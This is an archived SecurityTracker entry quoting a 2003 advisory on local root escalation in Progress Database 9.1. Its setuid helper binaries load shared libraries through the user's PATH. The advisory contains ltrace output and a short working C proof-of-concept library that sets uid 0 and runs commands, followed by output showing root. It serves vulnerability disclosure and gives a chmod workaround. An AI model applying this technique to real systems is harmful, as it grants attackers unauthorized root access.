SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Database)  >   Progress Database Vendors:   Progress Software Corporation
Progress Database Reliance on User-Supplied PATH Variable When Opening Shared Object Files Lets Local Users Grab Root Privileges
SecurityTracker Alert ID:  1006984
SecurityTracker URL:  http://securitytracker.com/id/1006984
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jun 14 2003
Impact:   Execution of arbitrary code via local system, Root access via local system
Vendor Confirmed:  Yes  
Version(s): 9.1 - 9.1D06
Description:   A vulnerability was reported in the Progress Database in several helper binaries. A local user can obtain root privileges on the target system.

Secure Network Operations Strategic Reconnaissance Team reported that when some helper files are executed, the database will load shared object files with the dlopen() function based on the user-supplied PATH environment variable. A local user can modify the PATH variable to point to a location containing an alternate version of the required object files to cause the user's replacement versions to be executed.

According to the report, most of the binaries in the '/usr/dlc/bin' directory contain this flaw. A local user can execute a binary that is configured with set user id (setuid) root user privileges to cause the user's replacement object file to be executed with root privileges. This will yield root privileges to the local user.

Impact:   A local user can cause arbitrary code to be executed with root privileges.
Solution:   No solution was available at the time of this entry. The vendor reportedly plans to issue a fix in version 10.x.

The report indicated that, as a workaround, you can remote the setuid bit from the affected binaries.

Vendor URL:  www.progress.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  [0day] SRT2003-06-13-0945 - Progress PATH based dlopen() issue


-= 0day - Freedom of Voice - Freedom of Choice =-

Secure Network Operations, Inc.           http://www.secnetops.com
Strategic Reconnaissance Team               research@secnetops.com
Team Lead Contact                                 kf@secnetops.com


Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion
Detection Systems (IDS), Software Security Validation, and
Corporate/Private Network Security. Our mission is to facilitate a
secure and reliable Internet and inter-enterprise communications
infrastructure through the products and services we offer.


Quick Summary:
************************************************************************
Advisory Number         : SRT2003-06-13-0945
Product                 : Progress Database
Version                 : Versions 9.1 up to 9.1D06
Vendor                  : progress.com
Class                   : local
Criticality             : High (to all Progress users)
Operating System(s)     : Linux, SunOS, SCO, TRU64, *nix


High Level Explanation
************************************************************************
High Level Description  : Poor usage of dlopen() causes local root
compromise
What to do              : chmod -s /usr/dlc/bin/*


Technical Details
************************************************************************
Proof Of Concept Status : SNO has exploits for the described situation
Low Level Description   :

Progress applications make the use of several helper .dll and .so binaries.
When looking for shared object files for use in a dlopen statement Progress
choose to look in the users PATH. No verification is performed upon the
object that is located thus local non super users can make themselves root.
*Most* binaries in /usr/dlc/bin can be exploited via this method.

[elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv
-rwsr-xr-x    1 root   root    5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv

getenv("DLC")                                     = NULL
strcpy(0xbffff350, "libjutil.so")                 = 0xbffff350
memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8
access("libjutil.so", 4)                          = -1
__errno_location()                                = 0x4212a620
getenv("PATH")                                    = "/usr/local/bin:/bin...
strcat("/usr/local/bin", "/")                     = "/usr/local/bin/"
strcat("/usr/local/bin/", "libjutil.so")     = "/usr/local/bin/libjutil.so"
access("/usr/local/bin/libjutil.so", 4)           = -1
...
strcat("/home/elguapo/bin/", "libjutil.so") "/home/elguapo/bin/libjutil.so"
access("/home/elguapo/bin/libjutil.so", 4)        = 0

As you can see the library libjutil.so is searched for in the users PATH.

Thanks to core@bokeoa.com for giving me an example shared library example
... it made exploiting this problem quite simple.

#include <stdio.h>
#include <string.h>

// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init

int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
	printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
	printf("This is a fake ehnLogClose\n");
}

_init() {
    setuid(0);
    setgid(0);
    printf("bullshit library loaded\n");
    system("/usr/bin/id > /tmp/p00p");
    system("cat /tmp/p00p");
}

[elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)
+0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
uid=0(root) gid=500(elguapo) groups=500(elguapo)

[elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv

we can see it searches path and finds nothing ...

getenv("PATH")                                    = NULL
dlopen("libjutil.so", 258)                        = NULL
...
read(3, "Could not open Dynamic Library: "..., 81) = 81
malloc(51)                                        = 0x084df718
dlerror()                                         = "libjutil.so: cannot
open shared "...
lseek(3, 649134, 0)                               = 649134
read(3, "DLL Error : %s (8014)", 81)              = 81

In the above example we just gave it a little help finding the .so
The dlsym command will help you determine which fake functions you need
to make the exploit work.

getenv("PATH")                                    = "/tmp"
strcat("/tmp", "/")                               = "/tmp/"
strcat("/tmp/", "libjutil.so")                    = "/tmp/libjutil.so"
access("/tmp/libjutil.so", 4)                     = 0
dlopen("/tmp/libjutil.so", 258)                   = 0x084e1840
dlsym(0x084e1840, "ehnLogOpen")                   = 0x40013414
dlsym(0x084e1840, "ehnLogClose")                  = 0x4001345e
dlsym(0x084e1840, "ehnLogWrite")                  = 0x400134a8
dlsym(0x084e1840, "ehnLogDump")                   = 0x400134f2
dlsym(0x084e1840, "ehnLogGetProperties")          = 0x4001353c
dlsym(0x084e1840, "ehnLogSetProperties")          = 0x40013586
This is a fake ehnLogOpen
uid=0(root) gid=500(elguapo) groups=500(elguapo)


a valid work around to nearly any Progress security hole is to remove the
suid bit from all binaries

Vendor Status           : Patch will be in version 10.x
Bugtraq URL             : to be assigned

------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.


_______________________________________________
0day mailing list
0day@nothackers.org
http://nothackers.org/mailman/listinfo/0day

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC